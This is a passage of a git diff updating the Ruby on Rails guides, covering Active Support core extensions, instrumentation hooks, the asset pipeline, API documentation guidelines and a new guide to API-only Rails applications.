+2430,7 @@ The method `Array.wrap` wraps its argument in an array unless it is already an a Specifically: -* If the argument is `nil` an empty list is returned. +* If the argument is `nil` an empty array is returned. * Otherwise, if the argument responds to `to_ary` it is invoked, and if the value of `to_ary` is not `nil`, it is returned. * Otherwise, an array with the argument as its single element is returned. @@ -2440,9 +2442,9 @@ Array.wrap(0) # => [0] This method is similar in purpose to `Kernel#Array`, but there are some differences: -* If the argument responds to `to_ary` the method is invoked. `Kernel#Array` moves on to try `to_a` if the returned value is `nil`, but `Array.wrap` returns `nil` right away. +* If the argument responds to `to_ary` the method is invoked. `Kernel#Array` moves on to try `to_a` if the returned value is `nil`, but `Array.wrap` returns an array with the argument as its single element right away. * If the returned value from `to_ary` is neither `nil` nor an `Array` object, `Kernel#Array` raises an exception, while `Array.wrap` does not, it just returns the value. -* It does not call `to_a` on the argument, though special-cases `nil` to return an empty array. +* It does not call `to_a` on the argument, if the argument does not respond to +to_ary+ it returns an array with the argument as its single element. The last point is particularly worth comparing for some enumerables: @@ -2465,7 +2467,7 @@ NOTE: Defined in `active_support/core_ext/array/wrap.rb`. ### Duplicating -The method `Array.deep_dup` duplicates itself and all objects inside +The method `Array#deep_dup` duplicates itself and all objects inside recursively with Active Support method `Object#deep_dup`. It works like `Array#map` with sending `deep_dup` method to each object inside. ```ruby @@ -2687,7 +2689,7 @@ NOTE: Defined in `active_support/core_ext/hash/deep_merge.rb`. ### Deep duplicating -The method `Hash.deep_dup` duplicates itself and all keys and values +The method `Hash#deep_dup` duplicates itself and all keys and values inside recursively with Active Support method `Object#deep_dup`. It works like `Enumerator#each_with_object` with sending `deep_dup` method to each pair inside. ```ruby @@ -2883,7 +2885,7 @@ The method `transform_values` accepts a block and returns a hash that has applie ``` There's also the bang variant `transform_values!` that applies the block operations to values in the very receiver. -NOTE: Defined in `active_support/core_text/hash/transform_values.rb`. +NOTE: Defined in `active_support/core_ext/hash/transform_values.rb`. ### Slicing @@ -3040,53 +3042,6 @@ The method `Range#overlaps?` says whether any two given ranges have non-void int NOTE: Defined in `active_support/core_ext/range/overlaps.rb`. -Extensions to `Proc` --------------------- - -### `bind` - -As you surely know Ruby has an `UnboundMethod` class whose instances are methods that belong to the limbo of methods without a self. The method `Module#instance_method` returns an unbound method for example: - -```ruby -Hash.instance_method(:delete) # => #<UnboundMethod: Hash#delete> -``` - -An unbound method is not callable as is, you need to bind it first to an object with `bind`: - -```ruby -clear = Hash.instance_method(:clear) -clear.bind({a: 1}).call # => {} -``` - -Active Support defines `Proc#bind` with an analogous purpose: - -```ruby -Proc.new { size }.bind([]).call # => 0 -``` - -As you see that's callable and bound to the argument, the return value is indeed a `Method`. - -NOTE: To do so `Proc#bind` actually creates a method under the hood. If you ever see a method with a weird name like `__bind_1256598120_237302` in a stack trace you know now where it comes from. - -Action Pack uses this trick in `rescue_from` for example, which accepts the name of a method and also a proc as callbacks for a given rescued exception. It has to call them in either case, so a bound method is returned by `handler_for_rescue`, thus simplifying the code in the caller: - -```ruby -def handler_for_rescue(exception) - _, rescuer = Array(rescue_handlers).reverse.detect do |klass_name, handler| - ... - end - - case rescuer - when Symbol - method(rescuer) - when Proc - rescuer.bind(self) - end -end -``` - -NOTE: Defined in `active_support/core_ext/proc.rb`. - Extensions to `Date` -------------------- @@ -3098,7 +3053,7 @@ INFO: The following calculation methods have edge cases in October 1582, since d #### `Date.current` -Active Support defines `Date.current` to be today in the current time zone. That's like `Date.today`, except that it honors the user time zone, if defined. It also defines `Date.yesterday` and `Date.tomorrow`, and the instance predicates `past?`, `today?`, and `future?`, all of them relative to `Date.current`. +Active Support defines `Date.current` to be today in the current time zone. That's like `Date.today`, except that it honors the user time zone, if defined. It also defines `Date.yesterday` and `Date.tomorrow`, and the instance predicates `past?`, `today?`, `future?`, `on_weekday?` and `on_weekend?`, all of them relative to `Date.current`. When making Date comparisons using methods which honor the user time zone, make sure to use `Date.current` and not `Date.today`. There are cases where the user time zone might be in the future compared to the system time zone, which `Date.today` uses by default. This means `Date.today` may equal `Date.yesterday`. @@ -3487,6 +3442,8 @@ years_ago years_since prev_year (last_year) next_year +on_weekday? +on_weekend? ``` The following methods are reimplemented so you do **not** need to load `active_support/core_ext/date/calculations.rb` for these ones: @@ -3673,6 +3630,8 @@ years_ago years_since prev_year (last_year) next_year +on_weekday? +on_weekend? ``` They are analogous. Please refer to their documentation above and take into account the following differences: diff --git a/guides/source/active_support_instrumentation.md b/guides/source/active_support_instrumentation.md index 352da43b5f..03af3cf819 100644 --- a/guides/source/active_support_instrumentation.md +++ b/guides/source/active_support_instrumentation.md @@ -19,7 +19,7 @@ After reading this guide, you will know: Introduction to instrumentation ------------------------------- -The instrumentation API provided by Active Support allows developers to provide hooks which other developers may hook into. There are several of these within the Rails framework, as described below in (TODO: link to section detailing each hook point). With this API, developers can choose to be notified when certain events occur inside their application or another piece of Ruby code. +The instrumentation API provided by Active Support allows developers to provide hooks which other developers may hook into. There are several of these within the [Rails framework](#rails-framework-hooks). With this API, developers can choose to be notified when certain events occur inside their application or another piece of Ruby code. For example, there is a hook provided within Active Record that is called every time Active Record uses an SQL query on a database. This hook could be **subscribed** to, and used to track the number of queries during a certain action. There's another hook around the processing of an action of a controller. This could be used, for instance, to track how long a specific action has taken. @@ -112,6 +112,7 @@ Action Controller | `:controller` | The controller name | | `:action` | The action | | `:params` | Hash of request parameters without any filtered parameter | +| `:headers` | Request headers | | `:format` | html/js/json/xml etc | | `:method` | HTTP request verb | | `:path` | Request path | @@ -121,6 +122,7 @@ Action Controller controller: "PostsController", action: "new", params: { "action" => "new", "controller" => "posts" }, + headers: #<ActionDispatch::Http::Headers:0x0055a67a519b88>, format: :html, method: "GET", path: "/posts/new" @@ -134,6 +136,7 @@ Action Controller | `:controller` | The controller name | | `:action` | The action | | `:params` | Hash of request parameters without any filtered parameter | +| `:headers` | Request headers | | `:format` | html/js/json/xml etc | | `:method` | HTTP request verb | | `:path` | Request path | @@ -146,6 +149,7 @@ Action Controller controller: "PostsController", action: "index", params: {"action" => "index", "controller" => "posts"}, + headers: #<ActionDispatch::Http::Headers:0x0055a67a519b88>, format: :html, method: "GET", path: "/posts", @@ -232,6 +236,7 @@ Active Record | `:sql` | SQL statement | | `:name` | Name of the operation | | `:connection_id` | `self.object_id` | +| `:binds` | Bind parameters | INFO. The adapters will add their own data as well. @@ -244,13 +249,19 @@ INFO. The adapters will add their own data as well. } ``` -### identity.active_record +### instantiation.active_record | Key | Value | | ---------------- | ----------------------------------------- | -| `:line` | Primary Key of object in the identity map | -| `:name` | Record's class | -| `:connection_id` | `self.object_id` | +| `:record_count` | Number of records that instantiated | +| `:class_name` | Record's class | + +```ruby +{ + record_count: 1, + class_name: "User" +} +``` Action Mailer ------------- @@ -307,17 +318,6 @@ Action Mailer } ``` -Active Resource --------------- - -### request.active_resource - -| Key | Value | -| -------------- | -------------------- | -| `:method` | HTTP method | -| `:request_uri` | Complete URI | -| `:result` | HTTP response object | - Active Support -------------- @@ -400,6 +400,38 @@ INFO. Cache stores may add their own keys } ``` +Active Job +-------- + +### enqueue_at.active_job + +| Key | Value | +| ------------ | -------------------------------------- | +| `:adapter` | QueueAdapter object processing the job | +| `:job` | Job object | + +### enqueue.active_job + +| Key | Value | +| ------------ | -------------------------------------- | +| `:adapter` | QueueAdapter object processing the job | +| `:job` | Job object | + +### perform_start.active_job + +| Key | Value | +| ------------ | -------------------------------------- | +| `:adapter` | QueueAdapter object processing the job | +| `:job` | Job object | + +### perform.active_job + +| Key | Value | +| ------------ | -------------------------------------- | +| `:adapter` | QueueAdapter object processing the job | +| `:job` | Job object | + + Railties -------- @@ -430,7 +462,7 @@ The block receives the following arguments: * The name of the event * Time when it started * Time when it finished -* An unique ID for this event +* A unique ID for this event * The payload (described in previous sections) ```ruby diff --git a/guides/source/api_app.md b/guides/source/api_app.md new file mode 100644 index 0000000000..485294dc02 --- /dev/null +++ b/guides/source/api_app.md @@ -0,0 +1,425 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.** + + +Using Rails for API-only Applications +===================================== + +In this guide you will learn: + +* What Rails provides for API-only applications +* How to configure Rails to start without any browser features +* How to decide which middleware you will want to include +* How to decide which modules to use in your controller + +-------------------------------------------------------------------------------- + +What is an API Application? +--------------------------- + +Traditionally, when people said that they used Rails as an "API", they meant +providing a programmatically accessible API alongside their web application. +For example, GitHub provides [an API](http://developer.github.com) that you +can use from your own custom clients. + +With the advent of client-side frameworks, more developers are using Rails to +build a back-end that is shared between their web application and other native +applications. + +For example, Twitter uses its [public API](https://dev.twitter.com) in its web +application, which is built as a static site that consumes JSON resources. + +Instead of using Rails to generate HTML that communicates with the server +through forms and links, many developers are treating their web application as +just an API client delivered as HTML with JavaScript that consumes a JSON API. + +This guide covers building a Rails application that serves JSON resources to an +API client, including client-side frameworks. + +Why Use Rails for JSON APIs? +---------------------------- + +The first question a lot of people have when thinking about building a JSON API +using Rails is: "isn't using Rails to spit out some JSON overkill? Shouldn't I +just use something like Sinatra?". + +For very simple APIs, this may be true. However, even in very HTML-heavy +applications, most of an application's logic lives outside of the view +layer. + +The reason most people use Rails is that it provides a set of defaults that +allows developers to get up and running quickly, without having to make a lot of trivial +decisions. + +Let's take a look at some of the things that Rails provides out of the box that are +still applicable to API applications. + +Handled at the middleware layer: + +- Reloading: Rails applications support transparent reloading. This works even if + your application gets big and restarting the server for every request becomes + non-viable. +- Development Mode: Rails applications come with smart defaults for development, + making development pleasant without compromising production-time performance. +- Test Mode: Ditto development mode. +- Logging: Rails applications log every request, with a level of verbosity + appropriate for the current mode. Rails logs in development include information + about the request environment, database queries, and basic performance + information. +- Security: Rails detects and thwarts [IP spoofing + attacks](http://en.wikipedia.org/wiki/IP_address_spoofing) and handles + cryptographic signatures in a [timing + attack](http://en.wikipedia.org/wiki/Timing_attack) aware way. Don't know what + an IP spoofing attack or a timing attack is? Exactly. +- Parameter Parsing: Want to specify your parameters as JSON instead of as a + URL-encoded String? No problem. Rails will decode the JSON for you and make + it available in `params`. Want to use nested URL-encoded parameters? That + works too. +- Conditional GETs: Rails handles conditional `GET` (`ETag` and `Last-Modified`) + processing request headers and returning the correct response headers and status + code. All you need to do is use the + [`stale?`](http://api.rubyonrails.org/classes/ActionController/ConditionalGet.html#method-i-stale-3F) + check in your controller, and Rails will handle all of the HTTP details for you. +- HEAD requests: Rails will transparently convert `HEAD` requests into `GET` ones, + and return just the headers on the way out. This makes `HEAD` work reliably in + all Rails APIs. + +While you could obviously build these up in terms of existing Rack middleware, +this list demonstrates that the default Rails middleware stack provides a lot +of value, even if you're "just generating JSON". + +Handled at the Action Pack layer: + +- Resourceful Routing: If you're building a RESTful JSON API, you want to be + using the Rails router. Clean and conventional mapping from HTTP to controllers + means not having to spend time thinking about how to model your API in terms + of HTTP. +- URL Generation: The flip side of routing is URL generation. A good API based + on HTTP includes URLs (see [the GitHub Gist API](http://developer.github.com/v3/gists/) + for an example). +- Header and Redirection Responses: `head :no_content` and + `redirect_to user_url(current_user)` come in handy. Sure, you could manually + add the response headers, but why? +- Caching: Rails provides page, action and fragment caching. Fragment caching + is especially helpful when building up a nested JSON object. +- Basic, Digest, and Token Authentication: Rails comes with out-of-the-box support + for three kinds of HTTP authentication. +- Instrumentation: Rails has an instrumentation API that triggers registered + handlers for a variety of events, such as action processing, sending a file or + data, redirection, and database queries. The payload of each event comes with + relevant information (for the action processing event, the payload includes + the controller, action, parameters, request format, request method and the + request's full path). +- Generators: It is often handy to generate a resource and get your model, + controller, test stubs, and routes created for you in a single command for + further tweaking. Same for migrations and others. +- Plugins: Many third-party libraries come with support for Rails that reduce + or eliminate the cost of setting up and gluing together the library and the + web framework. This includes things like overriding default generators, adding + Rake tasks, and honoring Rails choices (like the logger and cache back-end). + +Of course, the Rails boot process also glues together all registered components. +For example, the Rails boot process is what uses your `config/database.yml` file +when configuring Active Record. + +**The short version is**: you may not have thought about which parts of Rails +are still applicable even if you remove the view layer, but the answer turns out +to be most of it. + +The Basic Configuration +----------------------- + +If you're building a Rails application that will be an API server first and +foremost, you can start with a more limited subset of Rails and add in features +as needed. + +### Creating a new application + +You can generate a new api Rails app: + +```bash +$ rails new my_api --api +``` + +This will do three main things for you: + +- Configure your application to start with a more limited set of middleware + than normal. Specifically, it will not include any middleware primarily useful + for browser applications (like cookies support) by default. +- Make `ApplicationController` inherit from `ActionController::API` instead of + `ActionController::Base`. As with middleware, this will leave out any Action + Controller modules that provide functionalities primarily used by browser + applications. +- Configure the generators to skip generating views, helpers and assets when + you generate a new resource. + +### Changing an existing application + +If you want to take an existing application and make it an API one, read the +following steps. + +In `config/application.rb` add the following line at the top of the `Application` +class definition: + +```ruby +config.api_only = true +``` + +In `config/environments/development.rb`, set `config.debug_exception_response_format` +to configure the format used in responses when errors occur in development mode. + +To render an HTML page with debugging information, use the value `:default`. + +```ruby +config.debug_exception_response_format = :default +``` + +To render debugging information preserving the response format, use the value `:api`. + +```ruby +config.debug_exception_response_format = :api +``` + +By default, `config.debug_exception_response_format` is set to `:api`, when `config.api_only` is set to true. + +Finally, inside `app/controllers/application_controller.rb`, instead of: + +```ruby +class ApplicationController < ActionController::Base +end +``` + +do: + +```ruby +class ApplicationController < ActionController::API +end +``` + +Choosing Middleware +-------------------- + +An API application comes with the following middleware by default: + +- `Rack::Sendfile` +- `ActionDispatch::Static` +- `ActionDispatch::Executor` +- `ActiveSupport::Cache::Strategy::LocalCache::Middleware` +- `Rack::Runtime` +- `ActionDispatch::RequestId` +- `Rails::Rack::Logger` +- `ActionDispatch::ShowExceptions` +- `ActionDispatch::DebugExceptions` +- `ActionDispatch::RemoteIp` +- `ActionDispatch::Reloader` +- `ActionDispatch::Callbacks` +- `Rack::Head` +- `Rack::ConditionalGet` +- `Rack::ETag` + +See the [internal middleware](rails_on_rack.html#internal-middleware-stack) +section of the Rack guide for further information on them. + +Other plugins, including Active Record, may add additional middleware. In +general, these middleware are agnostic to the type of application you are +building, and make sense in an API-only Rails application. + +You can get a list of all middleware in your application via: + +```bash +$ rails middleware +``` + +### Using the Cache Middleware + +By default, Rails will add a middleware that provides a cache store based on +the configuration of your application (memcache by default). This means that +the built-in HTTP cache will rely on it. + +For instance, using the `stale?` method: + +```ruby +def show + @post = Post.find(params[:id]) + + if stale?(last_modified: @post.updated_at) + render json: @post + end +end +``` + +The call to `stale?` will compare the `If-Modified-Since` header in the request +with `@post.updated_at`. If the header is newer than the last modified, this +action will return a "304 Not Modified" response. Otherwise, it will render the +response and include a `Last-Modified` header in it. + +Normally, this mechanism is used on a per-client basis. The cache middleware +allows us to share this caching mechanism across clients. We can enable +cross-client caching in the call to `stale?`: + +```ruby +def show + @post = Post.find(params[:id]) + + if stale?(last_modified: @post.updated_at, public: true) + render json: @post + end +end +``` + +This means that the cache middleware will store off the `Last-Modified` value +for a URL in the Rails cache, and add an `If-Modified-Since` header to any +subsequent inbound requests for the same URL. + +Think of it as page caching using HTTP semantics. + +### Using Rack::Sendfile + +When you use the `send_file` method inside a Rails controller, it sets the +`X-Sendfile` header. `Rack::Sendfile` is responsible for actually sending the +file. + +If your front-end server supports accelerated file sending, `Rack::Sendfile` +will offload the actual file sending work to the front-end server. + +You can configure the name of the header that your front-end server uses for +this purpose using `config.action_dispatch.x_sendfile_header` in the appropriate +environment's configuration file. + +You can learn more about how to use `Rack::Sendfile` with popular +front-ends in [the Rack::Sendfile +documentation](http://rubydoc.info/github/rack/rack/master/Rack/Sendfile). + +Here are some values for this header for some popular servers, once these servers are configured to support +accelerated file sending: + +```ruby +# Apache and lighttpd +config.action_dispatch.x_sendfile_header = "X-Sendfile" + +# Nginx +config.action_dispatch.x_sendfile_header = "X-Accel-Redirect" +``` + +Make sure to configure your server to support these options following the +instructions in the `Rack::Sendfile` documentation. + +### Using ActionDispatch::Request + +`ActionDispatch::Request#params` will take parameters from the client in the JSON +format and make them available in your controller inside `params`. + +To use this, your client will need to make a request with JSON-encoded parameters +and specify the `Content-Type` as `application/json`. + +Here's an example in jQuery: + +```javascript +jQuery.ajax({ + type: 'POST', + url: '/people', + dataType: 'json', + contentType: 'application/json', + data: JSON.stringify({ person: { firstName: "Yehuda", lastName: "Katz" } }), + success: function(json) { } +}); +``` + +`ActionDispatch::Request` will see the `Content-Type` and your parameters +will be: + +```ruby +{ :person => { :firstName => "Yehuda", :lastName => "Katz" } } +``` + +### Other Middleware + +Rails ships with a number of other middleware that you might want to use in an +API application, especially if one of your API clients is the browser: + +- `Rack::MethodOverride` +- `ActionDispatch::Cookies` +- `ActionDispatch::Flash` +- For sessions management + * `ActionDispatch::Session::CacheStore` + * `ActionDispatch::Session::CookieStore` + * `ActionDispatch::Session::MemCacheStore` + +Any of these middleware can be added via: + +```ruby +config.middleware.use Rack::MethodOverride +``` + +### Removing Middleware + +If you don't want to use a middleware that is included by default in the API-only +middleware set, you can remove it with: + +```ruby +config.middleware.delete ::Rack::Sendfile +``` + +Keep in mind that removing these middleware will remove support for certain +features in Action Controller. + +Choosing Controller Modules +--------------------------- + +An API application (using `ActionController::API`) comes with the following +controller modules by default: + +- `ActionController::UrlFor`: Makes `url_for` and similar helpers available. +- `ActionController::Redirecting`: Support for `redirect_to`. +- `AbstractController::Rendering` and `ActionController::ApiRendering`: Basic support for rendering. +- `ActionController::Renderers::All`: Support for `render :json` and friends. +- `ActionController::ConditionalGet`: Support for `stale?`. +- `ActionController::BasicImplicitRender`: Makes sure to return an empty response + if there's not an explicit one. +- `ActionController::StrongParameters`: Support for parameters white-listing in + combination with Active Model mass assignment. +- `ActionController::ForceSSL`: Support for `force_ssl`. +- `ActionController::DataStreaming`: Support for `send_file` and `send_data`. +- `AbstractController::Callbacks`: Support for `before_action` and + similar helpers. +- `ActionController::Rescue`: Support for `rescue_from`. +- `ActionController::Instrumentation`: Support for the instrumentation + hooks defined by Action Controller (see [the instrumentation + guide](active_support_instrumentation.html#action-controller) for +more information regarding this). +- `ActionController::ParamsWrapper`: Wraps the parameters hash into a nested hash + so you don't have to specify root elements sending POST requests for instance. + +Other plugins may add additional modules. You can get a list of all modules +included into `ActionController::API` in the rails console: + +```bash +$ bin/rails c +>> ActionController::API.ancestors - ActionController::Metal.ancestors +=> [ActionController::API, + ActiveRecord::Railties::ControllerRuntime, + ActionDispatch::Routing::RouteSet::MountedHelpers, + ActionController::ParamsWrapper, + ... , + AbstractController::Rendering, + ActionView::ViewPaths] +``` + +### Adding Other Modules + +All Action Controller modules know about their dependent modules, so you can feel +free to include any modules into your controllers, and all dependencies will be +included and set up as well. + +Some common modules you might want to add: + +- `AbstractController::Translation`: Support for the `l` and `t` localization + and translation methods. +- `ActionController::HttpAuthentication::Basic` (or `Digest` or `Token`): Support + for basic, digest or token HTTP authentication. +- `ActionView::Layouts`: Support for layouts when rendering. +- `ActionController::MimeResponds`: Support for `respond_to`. +- `ActionController::Cookies`: Support for `cookies`, which includes + support for signed and encrypted cookies. This requires the cookies middleware. + +The best place to add a module is in your `ApplicationController`, but you can +also add modules to individual controllers. diff --git a/guides/source/api_documentation_guidelines.md b/guides/source/api_documentation_guidelines.md index b385bdbe83..cd208c2e13 100644 --- a/guides/source/api_documentation_guidelines.md +++ b/guides/source/api_documentation_guidelines.md @@ -16,10 +16,11 @@ RDoc ---- The [Rails API documentation](http://api.rubyonrails.org) is generated with -[RDoc](http://docs.seattlerb.org/rdoc/). +[RDoc](http://docs.seattlerb.org/rdoc/). To generate it, make sure you are +in the rails root directory, run `bundle install` and execute: ```bash - bundle exec rake rdoc + ./bin/rails rdoc ``` Resulting HTML files can be found in the ./doc/rdoc directory. @@ -83,6 +84,12 @@ English Please use American English (*color*, *center*, *modularize*, etc). See [a list of American and British English spelling differences here](http://en.wikipedia.org/wiki/American_and_British_English_spelling_differences). +Oxford Comma +------------ + +Please use the [Oxford comma](http://en.wikipedia.org/wiki/Serial_comma) +("red, white, and blue", instead of "red, white and blue"). + Example Code ------------ @@ -233,7 +240,7 @@ You can quickly test the RDoc output with the following command: ``` $ echo "+:to_param+" | rdoc --pipe -#=> <p><code>:to_param</code></p> +# => <p><code>:to_param</code></p> ``` ### Regular Font diff --git a/guides/source/asset_pipeline.md b/guides/source/asset_pipeline.md index 816bff3784..e6631a513c 100644 --- a/guides/source/asset_pipeline.md +++ b/guides/source/asset_pipeline.md @@ -21,21 +21,20 @@ What is the Asset Pipeline? The asset pipeline provides a framework to concatenate and minify or compress JavaScript and CSS assets. It also adds the ability to write these assets in other languages and pre-processors such as CoffeeScript, Sass and ERB. +It allows assets in your application to be automatically combined with assets +from other gems. For example, jquery-rails includes a copy of jquery.js +and enables AJAX features in Rails. -The asset pipeline is technically no longer a core feature of Rails 4, it has -been extracted out of the framework into the -[sprockets-rails](https://github.com/rails/sprockets-rails) gem. - -The asset pipeline is enabled by default. - -You can disable the asset pipeline while creating a new application by +The asset pipeline is implemented by the +[sprockets-rails](https://github.com/rails/sprockets-rails) gem, +and is enabled by default. You can disable it while creating a new application by passing the `--skip-sprockets` option. ```bash rails new appname --skip-sprockets ``` -Rails 4 automatically adds the `sass-rails`, `coffee-rails` and `uglifier` +Rails automatically adds the `sass-rails`, `coffee-rails` and `uglifier` gems to your Gemfile, which are used by Sprockets for asset compression: ```ruby @@ -44,8 +43,8 @@ gem 'uglifier' gem 'coffee-rails' ``` -Using the `--skip-sprockets` option will prevent Rails 4 from adding -`sass-rails` and `uglifier` to Gemfile, so if you later want to enable +Using the `--skip-sprockets` option will prevent Rails from adding +them to your Gemfile, so if you later want to enable the asset pipeline you will have to add those gems to your Gemfile. Also, creating an application with the `--skip-sprockets` option will generate a slightly different `config/application.rb` file, with a require statement @@ -66,7 +65,7 @@ config.assets.js_compressor = :uglifier ``` NOTE: The `sass-rails` gem is automatically used for CSS compression if included -in Gemfile and no `config.assets.css_compressor` option is set. +in the Gemfile and no `config.assets.css_compressor` option is set. ### Main Features @@ -169,7 +168,7 @@ directory. Files in this directory are served by the Sprockets middleware. Assets can still be placed in the `public` hierarchy. Any assets under `public` will be served as static files by the application or web server when -`config.serve_static_files` is set to true. You should use `app/assets` for +`config.public_file_server.enabled` is set to true. You should use `app/assets` for files that must undergo some pre-processing before they are served. In production, Rails precompiles these files to `public/assets` by default. The @@ -327,13 +326,13 @@ familiar `javascript_include_tag` and `stylesheet_link_tag`: <%= javascript_include_tag "application" %> ``` -If using the turbolinks gem, which is included by default in Rails 4, then +If using the turbolinks gem, which is included by default in Rails, then include the 'data-turbolinks-track' option which causes turbolinks to check if an asset has been updated and if so loads it into the page: ```erb -<%= stylesheet_link_tag "application", media: "all", "data-turbolinks-track" => true %> -<%= javascript_include_tag "application", "data-turbolinks-track" => true %> +<%= stylesheet_link_tag "application", media: "all", "data-turbolinks-track" => "reload" %> +<%= javascript_include_tag "application", "data-turbolinks-track" => "reload" %> ``` In regular views you can access images in the `public/assets/images` directory @@ -403,13 +402,13 @@ When using the asset pipeline, paths to assets must be re-written and underscored in Ruby) for the following asset classes: image, font, video, audio, JavaScript and stylesheet. -* `image-url("rails.png")` becomes `url(/assets/rails.png)` -* `image-path("rails.png")` becomes `"/assets/rails.png"`. +* `image-url("rails.png")` returns `url(/assets/rails.png)` +* `image-path("rails.png")` returns `"/assets/rails.png"` The more generic form can also be used: -* `asset-url("rails.png")` becomes `url(/assets/rails.png)` -* `asset-path("rails.png")` becomes `"/assets/rails.png"` +* `asset-url("rails.png")` returns `url(/assets/rails.png)` +* `asset-path("rails.png")` returns `"/assets/rails.png"` #### JavaScript/CoffeeScript and ERB @@ -436,14 +435,14 @@ Sprockets uses manifest files to determine which assets to include and serve. These manifest files contain _directives_ - instructions that tell Sprockets which files to require in order to build a single CSS or JavaScript file. With these directives, Sprockets loads the files specified, processes them if -necessary, concatenates them into one single file and then compresses them (if -`Rails.application.config.assets.compress` is true). By serving one file rather -than many, the load time of pages can be greatly reduced because the browser -makes fewer requests. Compression also reduces file size, enabling the -browser to download them faster. +necessary, concatenates them into one single file and then compresses them +(based on value of `Rails.application.config.assets.js_compressor`). By serving +one file rather than many, the load time of pages can be greatly reduced because +the browser makes fewer requests. Compression also reduces file size, enabling +the browser to download them faster. -For example, a new Rails 4 application includes a default +For example, a new Rails application includes a default `app/assets/javascripts/application.js` file containing the following lines: ```js @@ -484,7 +483,7 @@ which contains these lines: */ ``` -Rails 4 creates both `app/assets/javascripts/application.js` and +Rails creates both `app/assets/javascripts/application.js` and `app/assets/stylesheets/application.css` regardless of whether the --skip-sprockets option is used when creating a new rails application. This is so you can easily add asset pipelining later if you like. @@ -643,7 +642,7 @@ above. By default Rails assumes assets have been precompiled and will be served as static assets by your web server. During the precompilation phase an MD5 is generated from the contents of the -compiled files, and inserted into the filenames as they are written to disc. +compiled files, and inserted into the filenames as they are written to disk. These fingerprinted names are used by the Rails helpers in place of the manifest name. @@ -662,13 +661,12 @@ generates something like this: rel="stylesheet" /> ``` -Note: with the Asset Pipeline the :cache and :concat options aren't used +NOTE: with the Asset Pipeline the `:cache` and `:concat` options aren't used anymore, delete these options from the `javascript_include_tag` and `stylesheet_link_tag`. The fingerprinting behavior is controlled by the `config.assets.digest` -initialization option (which defaults to `true` for production and `false` for -everything else). +initialization option (which defaults to `true`). NOTE: Under normal circumstances the default `config.assets.digest` option should not be changed. If there are no digests in the filenames, and far-future @@ -677,7 +675,7 @@ content changes. ### Precompiling Assets -Rails comes bundled with a rake task to compile the asset manifests and other +Rails comes bundled with a task to compile the asset manifests and other files in the pipeline. Compiled assets are written to the location specified in `config.assets.prefix`. @@ -687,10 +685,10 @@ You can call this task on the server during deployment to create compiled versions of your assets directly on the server. See the next section for information on compiling locally. -The rake task is: +The task is: ```bash -$ RAILS_ENV=production bin/rake assets:precompile +$ RAILS_ENV=production bin/rails assets:precompile ``` Capistrano (v2.15.1 and above) includes a recipe to handle this in deployment. @@ -732,7 +730,7 @@ Rails.application.config.assets.precompile += ['admin.js', 'admin.css', 'swfObje NOTE. Always specify an expected compiled filename that ends with .js or .css, even if you want to add Sass or CoffeeScript files to the precompile array. -The rake task also generates a `manifest-md5hash.json` that contains a list with +The task also generates a `manifest-md5hash.json` that contains a list with all your assets and their respective fingerprints. This is used by the Rails helper methods to avoid handing the mapping requests back to Sprockets. A typical manifest file looks like: @@ -787,45 +785,9 @@ location ~ ^/assets/ { add_header Cache-Control public; add_header ETag ""; - break; -} -``` - -#### GZip Compression - -When files are precompiled, Sprockets also creates a -[gzipped](http://en.wikipedia.org/wiki/Gzip) (.gz) version of your assets. Web -servers are typically configured to use a moderate compression ratio as a -compromise, but since precompilation happens once, Sprockets uses the maximum -compression ratio, thus reducing the size of the data transfer to the minimum. -On the other hand, web servers can be configured to serve compressed content -directly from disk, rather than deflating non-compressed files themselves. - -NGINX is able to do this automatically enabling `gzip_static`: - -```nginx -location ~ ^/(assets)/ { - root /path/to/public; - gzip_static on; # to serve pre-gzipped version - expires max; - add_header Cache-Control public; } ``` -This directive is available if the core module that provides this feature was -compiled with the web server. Ubuntu/Debian packages, even `nginx-light`, have -the module compiled. Otherwise, you may need to perform a manual compilation: - -```bash -./configure --with-http_gzip_static_module -``` - -If you're compiling NGINX with Phusion Passenger you'll need to pass that option -when prompted. - -A robust configuration for Apache is possible but tricky; please Google around. -(Or help update this Guide if you have a good configuration example for Apache.) - ### Local Precompilation There are several reasons why you might want to precompile your assets locally. @@ -934,7 +896,7 @@ your CDN server, you need to tell browsers to use your CDN to grab assets instead of your Rails server directly. You can do this by configuring Rails to set your CDN as the asset host instead of using a relative path. To set your asset host in Rails, you need to set `config.action_controller.asset_host` in -`config/production.rb`: +`config/environments/production.rb`: ```ruby config.action_controller.asset_host = 'mycdnsubdomain.fictional-cdn.com' @@ -1057,7 +1019,7 @@ header](http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.9) is a W3C specification that describes how a request can be cached. When no CDN is used, a browser will use this information to cache contents. This is very helpful for assets that are not modified so that a browser does not need to re-download a -website's CSS or javascript on every request. Generally we want our Rails server +website's CSS or JavaScript on every request. Generally we want our Rails server to tell our CDN (and browser) that the asset is "public", that means any cache can store the request. Also we commonly want to set `max-age` which is how long the cache will store the object before invalidating the cache. The `max-age` @@ -1065,7 +1027,9 @@ value is set to seconds with a maximum possible value of `31536000` which is one year. You can do this in your rails application by setting ``` -config.static_cache_control = "public, max-age=31536000" +config.public_file_server.headers = { + 'Cache-Control' => 'public, max-age=31536000' +} ``` Now when your application serves an asset in production, the CDN will store the @@ -1141,11 +1105,17 @@ NOTE: You will need an [ExecJS](https://github.com/rails/execjs#readme) supported runtime in order to use `uglifier`. If you are using Mac OS X or Windows you have a JavaScript runtime installed in your operating system. -NOTE: The `config.assets.compress` initialization option is no longer used in -Rails 4 to enable either CSS or JavaScript compression. Setting it will have no -effect on the application. Instead, setting `config.assets.css_compressor` and -`config.assets.js_compressor` will control compression of CSS and JavaScript -assets. + + +### Serving GZipped version of assets + +By default, gzipped version of compiled assets will be generated, along +with the non-gzipped version of assets. Gzipped assets help reduce the transmission of +data over the wire. You can configure this by setting the `gzip` flag. + +```ruby +config.assets.gzip = false # disable gzipped assets generation +``` ### Using Your Own Compressor @@ -1211,19 +1181,14 @@ TIP: For further details have a look at the docs of your production web server: Assets Cache Store ------------------ -The default Rails cache store will be used by Sprockets to cache assets in -development and production. This can be changed by setting -`config.assets.cache_store`: +By default, Sprockets caches assets in `tmp/cache/assets` in development +and production environments. This can be changed as follows: ```ruby -config.assets.cache_store = :memory_store -``` - -The options accepted by the assets cache store are the same as the application's -cache store. - -```ruby -config.assets.cache_store = :memory_store, { size: 32.megabytes } +config.assets.configure do |env| + env.cache = ActiveSupport::Cache.lookup_store(:memory_store, + { size: 32.megabytes }) +end 